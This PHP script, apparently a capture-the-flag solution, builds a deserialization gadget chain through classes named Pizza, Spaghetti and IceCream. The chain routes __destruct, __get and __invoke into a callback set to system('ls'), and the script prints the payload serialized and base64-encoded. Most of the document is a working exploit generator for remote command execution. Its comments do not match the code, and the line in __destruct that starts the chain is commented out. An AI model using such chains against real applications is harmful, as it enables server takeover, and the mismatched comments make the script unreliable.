<?php

// 定义 Helpers\ArrayHelpers 类
namespace Helpers {
    use ArrayIterator;

    class ArrayHelpers extends ArrayIterator {
        public $callback;

        public function current()
        {
            $value = parent::current();
            $debug = call_user_func($this->callback, $value);
            return $value;
        }
    }
}

// 全局命名空间下的类定义
namespace {

    class Pizza {
        public $price;
        public $cheese;
        public $size;

        public function __destruct() {
            // 可选删除下面这行，因为 $this->size->what 并不存在
            // echo $this->size->what;
        }
    }

    class Spaghetti {
        public $sauce;
        public $noodles;
        public $portion;

        public function __get($tomato) {
            ($this->sauce)();
        }
    }

    class IceCream {
        public $flavors;
        public $topping;

        public function __invoke() {
            foreach ($this->flavors as $flavor) {
                echo $flavor;
            }
        }
    }

    // Step 1: Final gadget – executes `system('ls')`
    $ArrayHelpers = new Helpers\ArrayHelpers(['ls']);
    $ArrayHelpers->callback = 'system';

    // Step 2: Intermediate callable object
    $IceCream = new IceCream();
    $IceCream->flavors = $ArrayHelpers;  // __invoke() calls call_user_func_array(callback, flavors)

    // Step 3: Trigger from __get() inside Spaghetti
    // there is no doubt that spaghetti doesn't have the what property
    $Spaghetti = new Spaghetti();
    $Spaghetti->sauce = $IceCream;

    // Step 4: Top-level Pizza → triggers __destruct → __get → __invoke
    $Pizza = new Pizza();
    $Pizza->size = $Spaghetti;

    // Serialize and encode
    $serialized = serialize($Pizza);
    $base64 = base64_encode($serialized);

    echo "Serialized Payload:\n$serialized\n\n";
    echo "Base64 Payload:\n$base64\n\n";
}